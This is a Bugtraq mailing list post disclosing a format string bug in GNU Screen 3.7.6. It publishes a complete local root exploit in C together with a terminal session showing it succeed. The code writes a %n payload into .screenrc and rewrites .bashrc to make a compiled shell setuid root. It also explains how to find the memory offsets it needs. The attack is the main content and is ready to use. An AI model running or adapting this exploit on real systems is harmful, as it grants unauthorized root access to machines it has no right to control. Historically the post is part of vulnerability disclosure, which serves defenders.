Bugtraq mailing list archives

Screen compromise, second


From: Paul Starzetz <paul () STARZETZ DE>
Date: Wed, 6 Sep 2000 18:02:02 +0200

Hi ppl,

as mentioned in previous letter, the Screen package suffers from the
classic format string bug. I post now a fine tuned root exploit for it.

It seems that the invoked bash crashes if we set real_uid to 0, so lets
try another way: create a .bashrc which does the work. On Suse 6.1 and
screen 3.7.6 the crash occurs after .bashrc is executed so we can
exploit this :-)

paul@phoenix:/tmp > id
uid=500(paul) gid=100(users) groups=100(users)

paul@phoenix:/tmp > ls -la
total 9
drwxrwxrwt   4 root     root         1024 Sep  6 17:41 .
drwxr-xr-x  18 root     root         1024 Mar  7  2000 ..
drwxrwxrwt   2 root     root         1024 Feb 15  2000 .X11-unix
-rwxr--r--   1 paul     users        4559 Sep  6 17:41 expl.c
drwxr-xr-x   4 root     users        1024 Sep 14  1999 screens

paul@phoenix:/tmp > gcc expl.c (padding set to 1)
paul@phoenix:/tmp > a.out 63
Screen 3.7.6+ local r00t exploit
by IhaQueR@IRCnet

creating magic string
building /home/paul/.screenrc
creating /home/paul/.bashrc
compiling suid shell
makdir()
press enter to start screen, then hit enter again, ctrl-g, ctrl-c for
suid shell
 at /tmp/sush

Screen version 3.07.06 (FAU) 25-Nov-98

Copyright (c) 1993-1998 <blah....>
<enter>

chown: /tmp/sush: Operation not
permitted                                      ó
l@phoenix:/tmp/PPPóóóóóóóóóóóóóóóľ

<ctrl-g> status:
10737900681134520512134745792-1073748600-1-10737433492047-1073743349-1-1-1-...

<ctrl-a ctrl-c>

idphoenix:/tmp/Póóóóóóóóóóóóóóóóľ
uid=0(root) gid=100(users) groups=100(users)
t@phoenix:/tmp/Póóóóóóóóóóóóóóóóľ

hm :-> this time without crash...

paul@phoenix:/tmp > ls -l
total 79
drwxr-xr-x   2 paul     users        1024 Sep  6 17:52
Póóóóóóóóóóóóóóóóľ
-rwxr-xr-x   1 paul     users       36313 Sep  6 17:49 a.out
-rwxr--r--   1 paul     users        4355 Sep  6 17:48 expl.c
drwxr-xr-x   4 root     users        1024 Sep 14  1999 screens
-rwsr-xr-x   1 root     root        33190 Sep  6 17:49 sush
-rw-r--r--   1 paul     users          71 Sep  6 17:52 sush.c

but whatever, we have a suid shell at /tmp/sush even if bash crashes...


regards. IhaQueR

--------------------------- expl.c ------------------------------



/****************************************************************
*                *
*  Screen 3.7.6 (and others) local exploit     *
*  by IhaQueR@IRCnet          *
*  only for demonstrative purposes       *
*                *
****************************************************************/



#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>




#define TMPBUFSIZE 1024


#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
#define SCREEN "/usr/bin/screen"

/* to help you hit the buffer we repeat the addr in the dir path */
#define AREP 16

/* but write only once */
#define WREP 1

/* offset of the buffer seen from Msg() */
#define BUFOFFSET 284
#define PADDING 0

/* addr to be written */
#define WRITEADDR 0x807beb4


/* some offsets grabbed from 3.7.6 on S.u.S.E 6.1
  &real_uid, &real_gid, &eff_uid, &eff_gid own_uid
  0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
  + 64  +64   ?   ?   ?


to get usefull offsets try this:

------------------- insert into screen.c source ----------------------
char mybuf[100000];
int jj;

void dumpstack(int err, char* fmt, ...)
{
static va_list ap;
char buf[100000];
char *p = buf;
FILE * fp;

#define STACKDMP "/tmp/stackdmp"

  va_start(ap, fmt);
  (void) vsnprintf(buf, sizeof(buf) - 100, fmt, ap);
  va_end(ap);
 if(fp = fopen(STACKDMP, "w")) {
  fprintf(fp, "%s", buf);
  fclose(fp);
 }
}


---------------------------------------------------------------------

then find in screen.c the line: 'Msg(0, VisualBellString);' and replace
it with

   bzero(mybuf, 100000);
   for (jj=0; jj<1500; jj++)
   {
    strcat(mybuf, "%x ");
   }
   dumpstack(0, mybuf);


compile screen, run, hit ctrl-g and look at the stack in
/tmp/stackdmp:-)
of course you can dump the adresses of &real_uid, &real_gid too
(maybe you would need a small offset for a.out)

*/



int main(int argc, char** argv)
{
int i, off=0;
int writeoffs, bufoffset;
unsigned a, *p;
FILE* fp;
unsigned char* cp;

char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];

struct utsname uts;
struct passwd* pwd;


  if(argc != 2) {
   printf("USAGE %s offset\n", argv[0]);
   return 0;
  } else {
   printf("Screen 3.7.6+ local r00t exploit\n");
   printf("by IhaQueR@IRCnet\n\n");
  }

/* calc addr offset  */
  getcwd(buf, TMPBUFSIZE);
  off += strlen(buf);
  uname(&uts);
  off += strlen(uts.nodename);
  pwd = getpwuid(getuid());
  off += strlen(pwd->pw_name);

/* user@host:/cwd/ @:/ */
  off += 3;
  bufoffset = BUFOFFSET + off;

  strcpy(screenrc, pwd->pw_dir);
  strcat(screenrc, "/");
  strcat(screenrc, SCREENRC);

  strcpy(bashrc, pwd->pw_dir);
  strcat(bashrc, "/");
  strcat(bashrc, BASHRC);

/* user supplied offsets */
  writeoffs = atoi(argv[1]);
  printf("creating magic string\n");
  bzero(buf, TMPBUFSIZE);

/*  consume stack arguments */
  for(i=0; i<bufoffset/4; i++)
   strcat(buf, "%.0d");

/*  finally write to adress */
  for(i=0;i<WREP; i++)
   strcat(buf, "%n");

/* create screenrc */
  printf("building %s\n", screenrc);
  if(fp = fopen(screenrc, "w")) {
   fprintf(fp, "vbell on\n");
   fprintf(fp, "vbell_msg '%s'\n", buf);
   fprintf(fp, "vbellwait 3600\n");
   fclose(fp);
  }
  else {
   printf("ERROR: opening %s\n", screenrc);
   return 1;
  }

/*  create bashrc  */
  printf("creating %s\n", bashrc);
  snprintf(buf, TMPBUFSIZE, "cp %s %s.orig", bashrc, bashrc);
  system(buf);
  snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod
4755 /tmp/sush'", bashrc);
  system(buf);

/*  create suid shell */
  printf("compiling suid shell\n");
  snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
  system(buf);
  system("gcc /tmp/sush.c -o /tmp/sush");

/*  now create the magic dir... */
  printf("makdir()\n");
  bzero(adr, (AREP+2)*sizeof(unsigned));
  cp = adr;
  for(i=0; i<PADDING; i++) {
   *cp = 'P';
   cp++;
  }

  p = (unsigned*) cp;
  a = WRITEADDR + writeoffs;

  for(i=0; i<AREP; i++) {
   *p = a;
   p++;
  }

  *p = 0;

/* make dir and call screen */
  mkdir((char*)adr, 0xfff);
  chdir((char*)adr);
  argv[1] = NULL;
  printf("press enter to start screen, then hit enter again, ctrl-g,
ctrl-c for suid shell at /tmp/sush");
  getchar();
  execv(SCREEN, argv);
}

-------------------------------------------------------------------

Disclaimer: Any resemblance between the above views and those of my
employer, my terminal, or the view out my window are purely
coincidental.  Any resemblance between the above and my own views is
non-deterministic.  The question of the existence of views in the
absence of anyone to hold them is left as an exercise for the reader.
The question of the existence of the reader is left as an exercise for
the second god coefficient.  (A discussion of non-orthogonal,
non-integral polytheism is beyond the scope of this article.)


Current thread: